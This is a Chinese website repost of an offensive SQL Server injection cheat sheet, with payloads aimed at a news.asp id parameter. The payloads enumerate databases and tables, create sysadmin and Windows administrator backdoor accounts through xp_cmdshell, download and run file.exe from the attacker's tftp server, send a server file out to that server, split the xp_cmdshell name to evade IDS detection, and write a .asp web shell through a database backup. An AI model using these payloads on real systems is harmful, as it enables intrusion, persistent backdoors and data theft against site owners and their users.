欢迎光临
我们一直在努力

桂林老兵的SQLSERVER高级注入技巧 (摘)-数据库专栏,SQL Server

建站超值云服务器,限时71元/月

 现在将老兵本人多年的sqlserver注入高级技巧奉献给支持老兵的朋友:

前言:
即是高级技巧,其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入,建议大家看看本站的sql语法相关文章

[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype=u and status>0 and name not in(table)

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

通过sqlserver注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是sysadmin组]

news.asp?id=2;exec master.dbo.sp_addlogin test,test;– //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;– //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;– //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell net user test test /add;– //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators test /add;– //将系统用户test提升为管理员

这样,你在他的数据库和系统内都留下了test管理员账号了

下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为tftp服务器,将69端口打开]

id=2; exec master.dbo.xp_cmdshell tftp –i 你的ip get file.exe;–

然后运行这个文件:
id=2; exec master.dbo.xp_cmdshell file.exe;–

下载服务器的文件file2.doc到本地tftp服务器[文件必须存在]:

id=2; exec master.dbo.xp_cmdshell tftp –i 你的ip put file2.doc;–

绕过ids的检测[使用变量]
declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
declare @a sysname set @a=xp+_cm+dshell exec @a dir c:\

新加的:

建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk=d:\web\db.asp;

报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@version);

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 桂林老兵的SQLSERVER高级注入技巧 (摘)-数据库专栏,SQL Server
分享到: 更多 (0)

相关推荐

  • 暂无文章